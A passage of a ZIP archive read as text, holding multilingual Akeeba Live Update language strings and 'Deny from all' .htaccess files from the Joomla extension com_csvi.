beschikbaar" LIVEUPDATE_NOUPDATES_HEAD="U heeft de laatste versie al" LIVEUPDATE_CURRENTVERSION="Geïnstalleerde versie" LIVEUPDATE_LATESTVERSION="Nieuwste versie" LIVEUPDATE_LATESTRELEASED="Datum laatste release" LIVEUPDATE_DOWNLOADURL="URL voor directe download" LIVEUPDATE_REFRESH_INFO="Ververs update-informatie" LIVEUPDATE_DO_UPDATE="Update naar de laatste versie" LIVEUPDATE_FTP_REQUIRED="Live Update stelt vast dat het FTP moet gebruiken om de updates te downloaden en installeren, maar uw FTP logingegevens zijn bij de Joomla algemene instellingen niet opgeslagen.

      Vul a.u.b. hieronder de FTP gebruikersnaam en het wachtwoord in om verder te gaan met updaten." LIVEUPDATE_FTP="FTP informatie" LIVEUPDATE_FTPUSERNAME="FTP gebruikersnaam" LIVEUPDATE_FTPPASSWORD="FTP wachtwoord" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download en installeer de update" LIVEUPDATE_DOWNLOAD_FAILED="Het downloaden van het updatepakket is mislukt. Zorg dat de temp map beschrijfbaar is of dat de FTP opties bij de algemene instellingen goed ingevuld zijn." LIVEUPDATE_EXTRACT_FAILED="Uitpakken van het pakket mislukt. Probeer de extensie handmatig bij te werken." LIVEUPDATE_INVALID_PACKAGE_TYPE="Verkeerd pakkettype. Updaten kan niet verder gaan." LIVEUPDATE_INSTALLEXT="Installeer %s %s" LIVEUPDATE_ERROR="Fout" LIVEUPDATE_SUCCESS="Succesvol" LIVEUPDATE_ICON_UNSUPPORTED="Live Update niet ondersteund" LIVEUPDATE_ICON_CRASHED="Live Update gecrasht" LIVEUPDATE_ICON_CURRENT="U heeft de laatste versie" LIVEUPDATE_ICON_UPDATES="UPDATE GEVONDEN! KLIK OM TE UPDATEN."PKs>\0,,7com_csvi/liveupdate/language/ru-RU/ru-RU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Автоматическое обновление" LIVEUPDATE_NOTSUPPORTED_HEAD="Автоматическое обновление не поддерживается на этом сервере" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сообщает, что автоматическое обновление не поддерживается. Пожалуйста, обратитесь к Вашему хостеру и попросите его разрешить CURL расширение для PHP или включить функцию URL FOPEN(). Если они уже включены, пожалуйста, попросите его настроить их сетевой экран так, чтобы она позволяла получить доступ к следующему адресу:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Вы всегда сможете обновить %s посетив наш сайт, вручную, загрузив последнюю версию и установив ее с помощью Joomla!." LIVEUPDATE_STUCK_HEAD="Автоматическое обновление обнаружило ошибку" LIVEUPDATE_STUCK_INFO="Автоматическое обновление обнаружило, что произошла ошибка при последнем сеансе связи с сервером обновлений. Обычно это означает, что хост блокирует связи с внешними сайтами. Если Вы желаете снова получить информацию об обновлении, пожалуйста, нажмите кнопку "Освежить информацию об обновлении" , расположенную ниже. Если это приводит к появлению пустой страницы, пожалуйста, свяжитесь с Вашим хостером и сообщите об этой проблеме." LIVEUPDATE_ERROR_NEEDSAUTH="Перед попыткой обновления до последней версии, Вы должны ввести Ваше имя пользователя/пароль или ID загрузки в параметры компонента. Кнопка обновления будет оставаться неактивной, пока Вы этого не сделаете." LIVEUPDATE_HASUPDATES_HEAD="Доступна новая версия" LIVEUPDATE_NOUPDATES_HEAD="У Вас уже установлена последняя версия" LIVEUPDATE_CURRENTVERSION="Установленная версия" LIVEUPDATE_LATESTVERSION="Последняя версия" LIVEUPDATE_LATESTRELEASED="Дата выхода последней версии" LIVEUPDATE_DOWNLOADURL="Ссылка для прямой загрузки" LIVEUPDATE_REFRESH_INFO="Освежить информацию об обновлении" LIVEUPDATE_DO_UPDATE="Обновить до последней версии" LIVEUPDATE_FTP_REQUIRED="Автоматическое обновление определило, что необходимо использовать FTP для загрузки и установки обновления, но Вы не сохранили данные для авторизации на FTP в общих настройках Joomla!.

      Просьба ввести свое имя пользователя и пароль FTP для продолжения обновления." LIVEUPDATE_FTP="Информация FTP" LIVEUPDATE_FTPUSERNAME="Имя пользователя FTP" LIVEUPDATE_FTPPASSWORD="Пароль пользователя FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Загрузить и установить обновление" LIVEUPDATE_DOWNLOAD_FAILED="Загрузка пакета обновления не удалась. Убедитесь, что временный каталог доступен для записи или что Вы включили и настроили FTP в общих настройках Joomla!." LIVEUPDATE_EXTRACT_FAILED="Извлечение пакета обновления не удалось. Пожалуйста, попробуйте обновить компонент вручную." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неверный тип пакета. Обновление не может продолжаться." LIVEUPDATE_INSTALLEXT="Установлено %s %s" LIVEUPDATE_ERROR="Ошибка" LIVEUPDATE_SUCCESS="Успешно" LIVEUPDATE_ICON_UNSUPPORTED="Автоматическое обновление не поддерживается" LIVEUPDATE_ICON_CRASHED="Автоматическое обновление не удалось!" LIVEUPDATE_ICON_CURRENT="У Вас последняя версия" LIVEUPDATE_ICON_UPDATES="НАЙДЕНА НОВАЯ ВЕРСИЯ! НАЖМИТЕ ДЛЯ ОБНОВЛЕНИЯ." PKs>\),com_csvi/liveupdate/language/ru-RU/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_csvi/liveupdate/language/uk-UA/.htaccessnuW+A Order allow,deny Deny from all PKs>\7com_csvi/liveupdate/language/uk-UA/uk-UA.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update не підтримується на цьому сервері" LIVEUPDATE_NOTSUPPORTED_INFO="Ваш сервер сигналізує, що Live Update не підтримується. Будь ласка, зв’яжіться з вашим постачальником послуг хостингу і попросіть його ввімкнути розширення PHP cURL або активувати пакувальники URL fopen(). Якщо вони вже ввімкнені, будь ласка, попросіть його сконфігурувати мережеві екрани так, щоб вони дозволяли доступ до цих URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Ви можете завжди оновити %s відвідавши наш сайт персонально, завантажити останній випуск та встановити його, використовуючи інсталятор розширень Joomla!." LIVEUPDATE_STUCK_HEAD="Live Update позначив себе таким, що зазнав краху" LIVEUPDATE_STUCK_INFO="Live Update визначив, що він зазнав краху останнього разу, коли намагався зв’язатися з сервером оновлень. Це зазвичай означає, що хост активно блокує комунікацію з зовнішніми сайтами. Якщо ви ви захочете спробувати знову отримати інформацію про оновлення, будь ласка, натисніть на кнопку "Оновити інформацію " нижче. Якщо це видасть пусту сторінку, будь ласка, зв’яжіться з постачальником послуг хостингу і опишіть цю проблему." LIVEUPDATE_ERROR_NEEDSAUTH="Ви повинні надати ваше ім’я користувача/пароль або ID завантаження в параметрах компоненту перед тим, як намагатися оновитися до останнього випуску. Кнопка оновлення буде залишатися неактивною, доки ви цього не зробите." LIVEUPDATE_HASUPDATES_HEAD="Доступна нова версія" LIVEUPDATE_NOUPDATES_HEAD="У вас уже встановлена остання версія" LIVEUPDATE_CURRENTVERSION="Встановлена версія" LIVEUPDATE_LATESTVERSION="Остання версія" LIVEUPDATE_LATESTRELEASED="Дата останнього випуску" LIVEUPDATE_DOWNLOADURL="URL для безпосереднього завантаження" LIVEUPDATE_REFRESH_INFO="Оновити інформацію" LIVEUPDATE_DO_UPDATE="Оновити до останньої версії" LIVEUPDATE_FTP_REQUIRED="Live Update визначив, що йому потрібно використовувати FTP для завантаження та встановлення вашого оновлення, але ви не зберегли інформацію вашого логіну FTP на сторінці Загальної Конфігурації Joomla! .

      Будь ласка, надайте ім’я користувача і пароль FTP нижче, щоб продовжити процес оновлення." LIVEUPDATE_FTP="Інформація FTP" LIVEUPDATE_FTPUSERNAME="Ім’я користувача FTP" LIVEUPDATE_FTPPASSWORD="Пароль FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Завантажити і встановити оновлення" LIVEUPDATE_DOWNLOAD_FAILED="Завантаження пакету оновлень не вдалося. Переконайтесь, що ваш тимчасовий каталог доступний для запису або що ви ввімкнули налаштування FTP в Загальній Конфігурації Joomla!." LIVEUPDATE_EXTRACT_FAILED="Видобування пакету оновлень не вдалося. Будь ласка, спробуйте оновити розширення вручну." LIVEUPDATE_INVALID_PACKAGE_TYPE="Неправильний тип пакету. Оновлення не може бути продовжено." LIVEUPDATE_INSTALLEXT="Встановлення %s %s" LIVEUPDATE_ERROR="Помилка" LIVEUPDATE_SUCCESS="Успішно" LIVEUPDATE_ICON_UNSUPPORTED="Live Update не підтримується" LIVEUPDATE_ICON_CRASHED="Live Update зазнало краху" LIVEUPDATE_ICON_CURRENT="У вас остання версія" LIVEUPDATE_ICON_UPDATES="ЗНАЙДЕНО ОНОВЛЕННЯ! НАТИСНІТЬ ДЛЯ ЗАПУСКУ ОНОВЛЕННЯ."PKs>\)&com_csvi/liveupdate/language/.htaccessnuW+A Order allow,deny Deny from all PKs>\G 7com_csvi/liveupdate/language/hu-HU/hu-HU.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Ez a szerver nem támogatja a Live Update-ot" LIVEUPDATE_NOTSUPPORTED_INFO="A szerver nem támogatja a Live Update-et. Lépj kapcsolatba a szolgáltatóddal és kérd a cURL PHP bővítmény vagy az URL fopen() aktiválását. Ha ezek már engedélyezve vannak, akkor kérd meg őket, hogy úgy állítsák be a tűzfalukat, hogy hozzáférhető legyen a következő URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Bármikor frissítheted a(z) %s úgy, hogy meglátogatod a webhelyünket, letöltöd a legfrissebb verziót és a Joomla! bővítmény telepítőjével felrakod." LIVEUPDATE_STUCK_HEAD="A saját jelzése szerint a Live Update összeomlott" LIVEUPDATE_STUCK_INFO="Az utolsó használat során a Live Update összeomlott amikor kapcsolatot próbált létesíteni a frissítő szerverrel. Ez általában azt jelzi, hogy a szolgáltató aktívan blokkolja a külső webhelyekkel való kommunikációt. Ha meg akarod ismételni a frissítési információk lekérését, akkor kattints alul a "Frissítési információk újra letöltése" gombra. Ha ez üres oldalt eredményez, akkor lépj kapcsolatba a szolgáltatóddal és jelezd nekik ezt a problémát. LIVEUPDATE_ERROR_NEEDSAUTH="Mielőtt frissíteni szeretnél, meg kell adnod a felhasználói neved/jelszavad vagy a letöltési AZ-t a komponens paraméterekben. A frissítés gomb addig nem lesz aktív, amíg ezeket nem adod meg." LIVEUPDATE_HASUPDATES_HEAD="Elérhető az új verzió" LIVEUPDATE_NOUPDATES_HEAD="Már a legújabb verzióval rendelkezel" LIVEUPDATE_CURRENTVERSION="Telepített verzió" LIVEUPDATE_LATESTVERSION="Legújabb verzió" LIVEUPDATE_LATESTRELEASED="A legújabb verzió kiadási időpontja" LIVEUPDATE_DOWNLOADURL="Direkt letöltési URL" LIVEUPDATE_REFRESH_INFO="Frissítési információk újratöltése" LIVEUPDATE_DO_UPDATE="Frissítés a legújabb verzióra" LIVEUPDATE_FTP_REQUIRED="A Live Update-nek szüksége van az FTP használatára, hogy le tudja tölteni és feltelepíteni a frissítést, de te nem adtál meg FTP elérési adatokat a Joomla! globális beállításaiban.

      Kérjük, hogy add meg az FTP felhasználói nevet és jelszót, hogy folytatni lehessen a frissítést." LIVEUPDATE_FTP="FTP információk" LIVEUPDATE_FTPUSERNAME="FTP felhasználói név" LIVEUPDATE_FTPPASSWORD="FTP jelszó" LIVEUPDATE_DOWNLOAD_AND_INSTALL="A frissítés letöltése és telepítése" LIVEUPDATE_DOWNLOAD_FAILED="A frissítési csomag letöltése sikertelen. Ellenőrizd az átmeneti (temp) könyvtár írhatóságát vagy a globális beállításoknál engedélyezd a Joomla! FTP feltöltést." LIVEUPDATE_EXTRACT_FAILED="A frissítési csomag kitömörítése sikertelen. Kérjük, hogy a frissítést próbáld meg manuális módban." LIVEUPDATE_INVALID_PACKAGE_TYPE="Hibás csomagtípus. A frissítés nem folytatható." LIVEUPDATE_INSTALLEXT="Telepítés %s %s" LIVEUPDATE_ERROR="Hiba" LIVEUPDATE_SUCCESS="Sikeres" LIVEUPDATE_ICON_UNSUPPORTED="A Live Update nem támogatott" LIVEUPDATE_ICON_CRASHED="A Live Update összeomlott" LIVEUPDATE_ICON_CURRENT="A legfrissebb verzióval rendelkezel" LIVEUPDATE_ICON_UPDATES="FRISSÍTÉST TALÁLTAM! KATTINTS IDE." LIVEUPDATE_RELEASEINFO="Információk" LIVEUPDATE_RELEASENOTES="Kiadási megjegyzések" LIVEUPDATE_READMOREINFO="Bővebben"PKs>\),com_csvi/liveupdate/language/hu-HU/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_csvi/liveupdate/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKs>\s7com_csvi/liveupdate/language/en-GB/en-GB.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update is not supported on this server" LIVEUPDATE_NOTSUPPORTED_INFO="Your server indicates that Live Update is not supported. Please contact your host and ask them to enable the cURL PHP extension or activate the URL fopen() wrappers. If these are already enabled, please ask them to configure their firewall so that it allows access to the following URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="You can always update %s by visiting our site manually, downloading the latest release and installing it using Joomla!'s extension installer." LIVEUPDATE_STUCK_HEAD="Live Update has marked itself as crashed" LIVEUPDATE_STUCK_INFO="Live Update determined that it crashed the last time it tried to contact the update server. This usually indicates a host which actively blocks communications with external sites. If you would like to retry fetching the update information, please click the "Refresh update information" button below. If that results to a blank page, please contact your host and report this issue." LIVEUPDATE_ERROR_NEEDSAUTH="You have to supply your username/password or Download ID to the component's parameters before trying to upgrade to the latest release. The upgrade button will remain disabled until you do that." LIVEUPDATE_HASUPDATES_HEAD="A new version is available" LIVEUPDATE_NOUPDATES_HEAD="You already have the latest version" LIVEUPDATE_CURRENTVERSION="Installed version" LIVEUPDATE_LATESTVERSION="Latest version" LIVEUPDATE_LATESTRELEASED="Latest release date" LIVEUPDATE_DOWNLOADURL="Direct download URL" LIVEUPDATE_REFRESH_INFO="Refresh update information" LIVEUPDATE_DO_UPDATE="Update to the latest version" LIVEUPDATE_FTP_REQUIRED="Live Update determined that it needs to use FTP in order to download and install your update, but you have not saved your FTP login information in your Joomla! Global Configuration.

      Please provide the FTP username and password below to proceed with the update." LIVEUPDATE_FTP="FTP Information" LIVEUPDATE_FTPUSERNAME="FTP Username" LIVEUPDATE_FTPPASSWORD="FTP Password" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Download and install update" LIVEUPDATE_DOWNLOAD_FAILED="Downloading the update package failed. Make sure that your temp-directory is writable or that you have enabled Joomla!'s FTP options in your site's Global Configuration." LIVEUPDATE_EXTRACT_FAILED="Extracting the update package failed. Please try updating the extension manually." LIVEUPDATE_INVALID_PACKAGE_TYPE="Invalid package type. The update can not proceed." LIVEUPDATE_INSTALLEXT="Install %s %s" LIVEUPDATE_ERROR="Error" LIVEUPDATE_SUCCESS="Success" LIVEUPDATE_ICON_UNSUPPORTED="Live Update not supported" LIVEUPDATE_ICON_CRASHED="Live Update crashed" LIVEUPDATE_ICON_CURRENT="You have the latest version" LIVEUPDATE_ICON_UPDATES="UPDATE FOUND! CLICK TO UPDATE." LIVEUPDATE_RELEASEINFO="Information" LIVEUPDATE_RELEASENOTES="Release notes" LIVEUPDATE_READMOREINFO="Read more" LIVEUPDATE_NAGSCREEN_HEAD="WARNING! You are about to install an unstable version." LIVEUPDATE_NAGSCREEN_BODY="You are about to install an unstable version (%s - %s). Unstable versions may have undergone minimal or no testing and contain bugs which may have an serious adverse to the stability and functionality of your web site. If you are not sure about what you are about to do, please close this browser window. If you are absolutely certain you understand the risks involved with the installation of unstable releases, please click the button below to continue the installation of this unstable release." LIVEUPDATE_NAGSCREEN_BUTTON="I understand the risks. Continue with the installation." LIVEUPDATE_STABILITY_ALPHA="Alpha" LIVEUPDATE_STABILITY_BETA="Beta" LIVEUPDATE_STABILITY_RC="RC" LIVEUPDATE_STABILITY_STABLE="Stable"PKs>\),com_csvi/liveupdate/language/fr-FR/.htaccessnuW+A Order allow,deny Deny from all PKs>\?b7com_csvi/liveupdate/language/fr-FR/fr-FR.liveupdate.ininuW+A; @package Live Update ; @copyright (c) 2010-2012 Nicholas K. Dionysopoulos ; @subpackage fr-FR.liveupdate.ini ; @description Traduction francophone - fr-FR ; @version 2.2.2 - 28.03.2012 ; @author Mihàly Marti alias Sarki - Joomlatutos.com ; @copyright AFUJ - Association Francophone des Utilisateurs de Joomla! ; @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL ; @note Client Administrator ; @note All ini files need to be saved as UTF-8 - No BOM LIVEUPDATE_TASK_OVERVIEW="Live Update" LIVEUPDATE_NOTSUPPORTED_HEAD="Live Update n'est pas pris en charge sur ce serveur" LIVEUPDATE_NOTSUPPORTED_INFO="Votre serveur indique que Live Update n'est pas supporté. Veuillez contactez votre hébergeur et lui demander d'activer l'extension PHP cURL ou activer la fonction fopen URL (). Si ceux-ci sont déjà activés, veuillez lui demander d'adapter le pare-feu pour qu'il autorise l'accès à l'URL suivante:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Vous pouvez toujours mettre à jour %s en visitant notre site manuellement, télécharger la dernière version et l'installer en utilisant l'extension d'installation de Joomla!" LIVEUPDATE_STUCK_HEAD="Live Update a échoué !" LIVEUPDATE_STUCK_INFO="Live Update a échoué la dernière fois qu'il a essayé de contacter le serveur de mise à jour. Cela signifie généralement que votre hébergeur bloque activement les communications avec des sites externes. Si vous souhaitez réessayer de récupérer les informations de mise à jour, cliquez sur le bouton " Rafraichir les informations de mise à jour ". S'il en résulte une page blanche, veuillez contactez votre hébergeur et lui signaler ce problème." LIVEUPDATE_ERROR_NEEDSAUTH="Pour activer le bouton de mise à jour, vous devez indiquer dans les paramètres d'Akeeba Backup l'ID de mise à jour fournie avec votre abonnement." LIVEUPDATE_HASUPDATES_HEAD="Une nouvelle version est disponible" LIVEUPDATE_NOUPDATES_HEAD="Vous avez la dernière version" LIVEUPDATE_CURRENTVERSION="Version installée" LIVEUPDATE_LATESTVERSION="Dernière version" LIVEUPDATE_LATESTRELEASED="Date de la dernière version " LIVEUPDATE_DOWNLOADURL="URL de téléchargement directe" LIVEUPDATE_REFRESH_INFO="Rafraîchir les informations de mise à jour" LIVEUPDATE_DO_UPDATE="Mettre à jour vers la dernière version" LIVEUPDATE_FTP_REQUIRED="Live Update a besoin d'utiliser la couche FTP pour télécharger et installer la mise à jour, mais vous n'avez pas sauvegardé vos informations de connexion FTP dans la 'Configuration' de Joomla!

      Veuillez fournir ci-dessous votre nom d'utilisateur et votre mot de passe FTP afin de procéder à la mise à jour." LIVEUPDATE_FTP="Informations FTP" LIVEUPDATE_FTPUSERNAME="Nom d'utilisateur FTP" LIVEUPDATE_FTPPASSWORD="Mot de passe FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Télécharger et installez la mise à jour" LIVEUPDATE_DOWNLOAD_FAILED="Le téléchargement du package de mise à jour a échoué. Assurez-vous que votre répertoire temporaire (tmp) est accessible en écriture et que vous avez activé les options FTP dans la configuration globale de Joomla!." LIVEUPDATE_EXTRACT_FAILED="L'extraction du package de mise à jour a échoué. Veuillez mettre à jour l'extension manuellement." LIVEUPDATE_INVALID_PACKAGE_TYPE="Le type du package n'est pas valide. La mise à jour ne peut pas être effectuée." LIVEUPDATE_INSTALLEXT="Installer %s %s" LIVEUPDATE_ERROR="Erreur" LIVEUPDATE_SUCCESS="Réussite" LIVEUPDATE_ICON_UNSUPPORTED="Live Update n'est pas pris en charge" LIVEUPDATE_ICON_CRASHED="Live Update a échoué!" LIVEUPDATE_ICON_CURRENT="Vous avez la dernière version" LIVEUPDATE_ICON_UPDATES="Mise à jour disponible! Cliquez pour mettre à jour."PKs>\\X 7com_csvi/liveupdate/language/pl-PL/pl-PL.liveupdate.ininuW+A; $Id: pl-PL.liveupdate.ini 632 2011-05-22 20:44:46Z nikosdion $ ; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later ; Translated by: Marek Kolka - 'zorro' - http://www.zorro.cal24.pl LIVEUPDATE_TASK_OVERVIEW="Aktualizacja" LIVEUPDATE_NOTSUPPORTED_HEAD="Aktualizacja nie jest obsługiwana na tym serwerze" LIVEUPDATE_NOTSUPPORTED_INFO="Twój serwer sygnalizuje, że Aktualizacja nie jest obsługiwana. Proszę skontaktować się administratorem hosta i poprosić o włączenie rozszerzenia cURL PHP albo aktywowanie URL fopen() wrappers. Jeżeli te są już włączone, poproś o skonfigurowanie firewalla tak, by umożliwił dostęp do następującego adresu URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Zawsze można zaktualizować %s odwiedzając naszeą witrynę ręcznie, pobranie najnowszej wersji i instalacji za pomocą instalatora rozszerzeń Joomla!." LIVEUPDATE_STUCK_HEAD="Aktualizacja oznaczona jako niepowodzenie" LIVEUPDATE_STUCK_INFO="Aktualizacja zaznacza o niepowodzeniu podczas ostatniej próby kontaktu z serwerem aktualizacji. To zwykle wskazuje na hosta, który aktywnie blokuje komunikacje z zewnętrznymi stronami. Jeśli chcesz ponowić próbę pobierania informacje o aktualizacji, kliknij przycisk "Odśwież informacje o aktualizacji" poniżej. Jeśli wynikiem jest pusta strona, proszę skontaktować się z administracją hosta i zgłosić ten problem." LIVEUPDATE_ERROR_NEEDSAUTH="Musisz podać swój login/hasło lub Download ID w parametrach komponentu przed próbą aktualizacji do najnowszej wersji. Przycisk aktualizacji pozostanie wyłączony do czasu aż to zrobisz." LIVEUPDATE_HASUPDATES_HEAD="Nowa wersja jest dostępna" LIVEUPDATE_NOUPDATES_HEAD="Masz już najnowszą wersję" LIVEUPDATE_CURRENTVERSION="Zainstalowana wersja" LIVEUPDATE_LATESTVERSION="Najnowsza wersja" LIVEUPDATE_LATESTRELEASED="Data najnowszej wersji" LIVEUPDATE_DOWNLOADURL="URL bezpośredniego pobierania" LIVEUPDATE_REFRESH_INFO="Odśwież informacje o aktualizacji" LIVEUPDATE_DO_UPDATE="Aktualizacja do najnowszej wersji" LIVEUPDATE_FTP_REQUIRED="Aktualizacja zaznacza, że musi korzystać z protokołu FTP w celu pobrania i zainstalowania aktualizacji, ale nie zostały wcześniej zapisane dane logowania FTP w twojej Konfiguracji Globalnej Joomla!.

      Prosimy o podanie nazwy użytkownika i hasła FTP poniżej, aby kontynuować aktualizację." LIVEUPDATE_FTP="Informacje FTP" LIVEUPDATE_FTPUSERNAME="Login FTP" LIVEUPDATE_FTPPASSWORD="Hasło FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Pobierz i zainstaluj aktualizację" LIVEUPDATE_DOWNLOAD_FAILED="Pobranie pakietu aktualizacji nie powiodło się. Upewnij się, że katalog tymczasowy jest zapisywalny lub, że masz włączoną opcję FTP Joomla! w Konfiguracji Globalnej twojej witryny." LIVEUPDATE_EXTRACT_FAILED="Rozpakowanie pakietu aktualizacji nie powiodło się. Proszę spróbować aktualizacji rozszerzenia ręcznie." LIVEUPDATE_INVALID_PACKAGE_TYPE="Nieprawidłowy typ pakietu. Aktualizacja nie może być kontynuowana." LIVEUPDATE_INSTALLEXT="Instalacja %s %s" LIVEUPDATE_ERROR="Błąd" LIVEUPDATE_SUCCESS="Powodzenie" LIVEUPDATE_ICON_UNSUPPORTED="Aktualizacja nie jest obsługiwana" LIVEUPDATE_ICON_CRASHED="Aktualizacja nie powiodła się" LIVEUPDATE_ICON_CURRENT="Masz najnowszą wersję" LIVEUPDATE_ICON_UPDATES="ZNALEZIONO AKTUALIZACJĘ! Kliknij!."PKs>\),com_csvi/liveupdate/language/pl-PL/.htaccessnuW+A Order allow,deny Deny from all PKs>\),com_csvi/liveupdate/language/el-GR/.htaccessnuW+A Order allow,deny Deny from all PKs>\A=WW7com_csvi/liveupdate/language/el-GR/el-GR.liveupdate.ininuW+A; Akeeba Live Update ; Copyright (c)2010-2012 Nicholas K. Dionysopoulos / AkeebaBackup.com ; Licensed under the GNU LGPLv3 or later LIVEUPDATE_TASK_OVERVIEW="Απευθείας Ενημέρωση" LIVEUPDATE_NOTSUPPORTED_HEAD="Η Απευθείας Ενημέρωση δεν υποστηρίζεται από αυτόν τον διακομιστή" LIVEUPDATE_NOTSUPPORTED_INFO="Ο διακομιστής σας δείχνει ότι η Απευθείας Ενημέρωση δεν υποστηρίζεται. Παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας σας και ζητήστε του να ενεργοποιήσει την επέκταση cURL της PHP ή τους URL fopen() wrappers. Εάν είναι ήδη ενεργοποιημένα, παρακαλώ ζητήστε του να ανοίξει το τείχος ασφαλείας ώστε να επιτρέπει την πρόσβαση στην παρακάτω διεύθυνση URL:"; LIVEUPDATE_NOTSUPPORTED_ALTMETHOD="Μπορείτε πάντα να ενημερώστε το λογισμικό %s επισκεπτόμενοι τον ιστότοπό μας, κατεβάζοντας την τελευταία έκδοση και εγκαθιστόντας την με την εγκατάσταση εφαρμογών του Joomla!." LIVEUPDATE_STUCK_HEAD="Η Απευθείας Ενημέρωση ανίχνευσε αποτυχία λειτουργίας" LIVEUPDATE_STUCK_INFO="Η Απευθείας Ενημέρωση εντόπισε ότι η τελευταία απόπειρα επικοινωνίας με τον διακομιστή ενημερώσεων κατέληξε σε κόλλημα. Αυτό συνήθως υποδυκνείει έναν πάροχο φιλοξενίας που μπλοκάρει ενεργά τις προσπάθειες επικοινωνίας με εξωετρικούς ιστοχώρους. Εάν θα θέλατε να δοκιμάσετε να ξαναπροσπαθήσουμε να λάβουμε τις πληροφορίες ενημέρωσεις, παρακαλώ κάντε κλικ στο κουμπί "Ανανέωση πληροφοριών ενημερώσεων" πιο κάτω. Εάν αυτό οδηγήσει σε λευκή σελίδα, παρακαλώ επικοινωνήστε με τον πάροχο φιλοξενίας και αναφέρετε αυτό το πρόβλημα." LIVEUPDATE_ERROR_NEEDSAUTH="Πρέπει να εισάγετε το όνομα χρήστη και συνθηματικό ή το Αναγνωριστικό Μεταφόρτωσης στις παραμέτρους της εφαρμογής πριν προσπαθήσετε να αναβαθμίσετε στην τελευταία έκδοση. Το κουμπί ενημέρωσης θα παραμείνει ανενεργό έως ότου το κάνετε." LIVEUPDATE_HASUPDATES_HEAD="Μια νέα έκδοση είναι διαθέσιμη" LIVEUPDATE_NOUPDATES_HEAD="Έχετε ήδη την τελευταία έκδοση" LIVEUPDATE_CURRENTVERSION="Εγκατεστημένη έκδοση" LIVEUPDATE_LATESTVERSION="Τελευταία έκδοση" LIVEUPDATE_LATESTRELEASED="Ημερομηνία έκδοσης" LIVEUPDATE_DOWNLOADURL="Διεύθυνση απευθείας μεταφόρτωσης" LIVEUPDATE_REFRESH_INFO="Ανανέωση πληροφοριών ενημερώσεων" LIVEUPDATE_DO_UPDATE="Ενημέρωση στην τελευταία έκδοση" LIVEUPDATE_FTP_REQUIRED="Η Απευθείας Ενημέρωση εντόπισε ότι απαιτείται η χρήση FTP για να μεταφορτώσει και να εγκαταστήσει την ενημέρωσή σας, αλλά δεν έχετε σώσει τις πληροφορίες εισόδου στο FTP στις Γενικές Ρυθμίσεις του Joomla!.

      Παρακαλώ εισάγετε το όνομα χρήστη και το συνθηματικό για το FTP προκειμένου να προχωρήσετε με την ενημέρωση." LIVEUPDATE_FTP="Πληροφορίες FTP" LIVEUPDATE_FTPUSERNAME="Όνομα Χρήστη FTP" LIVEUPDATE_FTPPASSWORD="Συνθηματικό FTP" LIVEUPDATE_DOWNLOAD_AND_INSTALL="Μεταφόρτωση και εγκατάσταση ενημέρωσης" LIVEUPDATE_DOWNLOAD_FAILED="Η μεταφόρτωση του πακέτου ενημέρωσης απέτυχε. Παρακαλώ βεβαιωθείτε ότι ο κάταλογος προσωρινής αποθήκευσης είναι εγγράψιμος ή ότι έχετε ενεργοποιήσει τις επιλογές FTP στις Γενικές Ρυθμίσεις του ιστοχώρου σας." LIVEUPDATE_EXTRACT_FAILED="Η αποσυμπίεση του πακέτου αναβάθμισης απέτυχε. Παρακαλώ δοκιμάστε να εγκαταστήσετε την επέκταση χειροκίνητα." LIVEUPDATE_INVALID_PACKAGE_TYPE="Ο τύπος του πακέτου δεν είναι έγκυρος. Η αναβάθμιση δεν μπορεί να συνεχίσει." LIVEUPDATE_INSTALLEXT="Εγκατάσταση %s %s" LIVEUPDATE_ERROR="Σφάλμα" LIVEUPDATE_SUCCESS="Επιτυχία" LIVEUPDATE_ICON_UNSUPPORTED="Η Απευθείας Ενημέρωση δεν υποστηρίζεται" LIVEUPDATE_ICON_CRASHED="Η Απευθείας Ενημέρωση κόλλησε" LIVEUPDATE_ICON_CURRENT="Έχετε την τελευταία έκδοση" LIVEUPDATE_ICON_UPDATES="ΒΡΕΘΗΚΕ ΕΝΗΜΕΡΩΣΗ! ΚΑΝΤΕ ΚΛΙΚ ΓΙΑ ΑΝΑΒΑΘΜΙΣΗ." LIVEUPDATE_RELEASEINFO="Πληροφορίες" LIVEUPDATE_RELEASENOTES="Σημειώσεις έκδοσης" LIVEUPDATE_READMOREINFO="Διαβάστε περισσότερα"PKs>\),com_csvi/liveupdate/language/da-DK/.htaccessnuW+A Order allow,deny Deny from all 